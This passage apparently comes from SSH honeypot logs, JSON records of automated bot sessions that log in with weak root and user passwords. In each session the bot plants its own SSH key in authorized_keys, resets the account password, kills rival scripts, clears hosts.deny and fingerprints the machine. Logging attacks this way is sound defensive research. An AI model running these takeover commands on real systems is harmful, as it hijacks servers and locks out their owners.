$2;}'"},{"seq":32,"at":"2026-08-27T02:33:21.114064+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qwedc","method":"password","accepted":true,"tier":"other"}]} {"id":"a0d34dad-6286-40f0-9fff-5ff2ffb87d08","name":"zealous-lawful-chickadee","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":34832,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":522,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T02:27:02.181397+00:00","ended_at":"2026-08-27T02:27:03.575059+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T02:26:38.123116+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T02:26:38.660682+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T02:26:44.212449+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T02:26:44.758413+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T02:26:45.278735+00:00","kind":"input","latency_ms":null,"data":"echo \"root:9IrdI8sIQ1wN\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T02:26:45.798783+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T02:26:46.325189+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T02:26:46.985872+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T02:26:47.510230+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T02:26:48.968945+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T02:26:49.502314+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T02:26:50.337511+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T02:26:50.858407+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T02:26:51.644353+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T02:26:52.164687+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T02:26:52.902352+00:00","kind":"output","latency_ms":null,"data":" 02:26:52 up 6 days, 23:16, 0 user, load average: 0.22, 0.27, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T02:26:53.420787+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T02:26:54.116181+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T02:26:54.659432+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T02:26:55.146092+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T02:26:55.669759+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T02:26:56.550874+00:00","kind":"output","latency_ms":null,"data":"top - 02:26:56 up 6 days, 23:17, 0 user, load average: 0.22, 0.27, 0.18\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T02:26:57.073833+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T02:26:57.726674+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T02:26:58.247338+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T02:26:58.555614+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T02:26:59.077238+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T02:26:59.684740+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T02:27:00.212635+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T02:27:01.480800+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T02:27:02.182261+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T02:27:03.408947+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Zxcv@123","method":"password","accepted":true,"tier":"other"}]} {"id":"bbfb45e5-1981-4a34-80ab-474bc3436298","name":"watchful-honest-hoopoe","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":57042,"username":"chenyu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":562,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T02:24:11.138293+00:00","ended_at":"2026-08-27T02:24:12.590042+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2259,"events":[{"seq":1,"at":"2026-08-27T02:23:46.260685+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T02:23:46.831266+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T02:23:56.055283+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T02:23:56.055707+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T02:23:56.618009+00:00","kind":"input","latency_ms":null,"data":"echo -e \"chenyu123\\nU59TincG9W9s\\nU59TincG9W9s\"|passwd|bash"},{"seq":6,"at":"2026-08-27T02:23:57.219223+00:00","kind":"output","latency_ms":null,"data":""},{"seq":7,"at":"2026-08-27T02:23:58.166590+00:00","kind":"input","latency_ms":null,"data":"echo \"chenyu123\\nU59TincG9W9s\\nU59TincG9W9s\\n\"|passwd"},{"seq":8,"at":"2026-08-27T02:23:59.044227+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T02:23:59.045046+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T02:23:59.658215+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T02:24:00.426903+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T02:24:00.986341+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T02:24:01.789564+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T02:24:02.347170+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T02:24:02.347793+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T02:24:02.920036+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T02:24:02.920552+00:00","kind":"output","latency_ms":null,"data":" 02:24:02 up 6 days, 23:14, 0 user, load average: 0.25, 0.24, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T02:24:03.479409+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T02:24:03.479872+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T02:24:04.036914+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T02:24:04.037636+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T02:24:04.639340+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T02:24:05.255475+00:00","kind":"output","latency_ms":null,"data":"top - 02:24:05 up 6 days, 23:14, 0 user, load average: 0.25, 0.24, 0.26\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T02:24:05.874379+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T02:24:06.762305+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T02:24:07.317110+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T02:24:07.654280+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T02:24:08.217545+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T02:24:09.121087+00:00","kind":"output","latency_ms":null,"data":"chenyu"},{"seq":30,"at":"2026-08-27T02:24:09.681962+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T02:24:10.580341+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T02:24:11.139072+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T02:24:12.419397+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"chenyu","password":"chenyu123","method":"password","accepted":true,"tier":"other"}]} {"id":"10042d62-abe8-4b59-8dfc-60b474509ea1","name":"mindful-sleepy-porcupine","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":46760,"username":"yousef","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":513,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T02:20:56.350939+00:00","ended_at":"2026-08-27T02:20:57.008370+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2259,"events":[{"seq":1,"at":"2026-08-27T02:20:36.391782+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T02:20:36.905550+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T02:20:46.784365+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T02:20:46.784718+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T02:20:47.310720+00:00","kind":"input","latency_ms":null,"data":"echo -e \"yousef123\\nfSlqD6jywedl\\nfSlqD6jywedl\"|passwd|bash"},{"seq":6,"at":"2026-08-27T02:20:47.960907+00:00","kind":"input","latency_ms":null,"data":"echo \"yousef123\\nfSlqD6jywedl\\nfSlqD6jywedl\\n\"|passwd"},{"seq":7,"at":"2026-08-27T02:20:48.470524+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T02:20:48.470997+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T02:20:48.981355+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T02:20:49.479478+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T02:20:49.990801+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T02:20:50.535210+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T02:20:51.095340+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T02:20:51.095772+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T02:20:51.609358+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T02:20:51.609669+00:00","kind":"output","latency_ms":null,"data":" 02:20:51 up 6 days, 23:10, 0 user, load average: 0.14, 0.18, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T02:20:52.151236+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T02:20:52.151629+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T02:20:52.674151+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T02:20:52.675644+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T02:20:53.186229+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T02:20:53.186685+00:00","kind":"output","latency_ms":null,"data":"top - 02:20:53 up 6 days, 23:11, 0 user, load average: 0.14, 0.18, 0.09\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T02:20:53.699533+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T02:20:53.699906+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T02:20:54.209085+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T02:20:54.209906+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T02:20:54.732413+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T02:20:54.732770+00:00","kind":"output","latency_ms":null,"data":"yousef"},{"seq":29,"at":"2026-08-27T02:20:55.246912+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T02:20:55.819956+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T02:20:56.351729+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T02:20:56.830147+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"yousef","password":"yousef123","method":"password","accepted":true,"tier":"other"}]} {"id":"eb077dd9-d37c-4314-ba6d-ceb3d85437a3","name":"gritty-bold-walrus","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":59286,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":551,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T02:17:40.565599+00:00","ended_at":"2026-08-27T02:17:41.267934+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T02:17:22.435759+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T02:17:22.983548+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T02:17:30.386229+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T02:17:30.388343+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T02:17:30.931844+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ON0bC2b0QEr0\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T02:17:31.495165+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T02:17:32.049684+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T02:17:32.050483+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T02:17:32.600234+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T02:17:33.134169+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T02:17:33.688340+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T02:17:34.245005+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T02:17:34.798329+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T02:17:34.799456+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T02:17:35.351073+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T02:17:35.351483+00:00","kind":"output","latency_ms":null,"data":" 02:17:35 up 6 days, 23:07, 0 user, load average: 0.02, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T02:17:35.905397+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T02:17:35.905822+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T02:17:36.457183+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T02:17:36.457801+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T02:17:37.012747+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T02:17:37.013276+00:00","kind":"output","latency_ms":null,"data":"top - 02:17:37 up 6 days, 23:07, 0 user, load average: 0.02, 0.03, 0.02\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T02:17:37.562986+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T02:17:37.563399+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T02:17:38.107215+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T02:17:38.107752+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T02:17:38.660198+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T02:17:38.660642+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T02:17:39.232486+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T02:17:39.771393+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T02:17:40.566285+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T02:17:41.086408+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Admin@007","method":"password","accepted":true,"tier":"other"}]} {"id":"2b11cf79-634d-4a72-874d-443e40d46074","name":"sandy-frugal-flamingo","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":55304,"username":"toby","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":527,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T02:06:10.980914+00:00","ended_at":"2026-08-27T02:06:12.218336+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2245,"events":[{"seq":1,"at":"2026-08-27T02:05:47.122015+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T02:05:47.654230+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T02:05:53.888068+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T02:05:54.738536+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T02:05:55.264831+00:00","kind":"input","latency_ms":null,"data":"echo -e 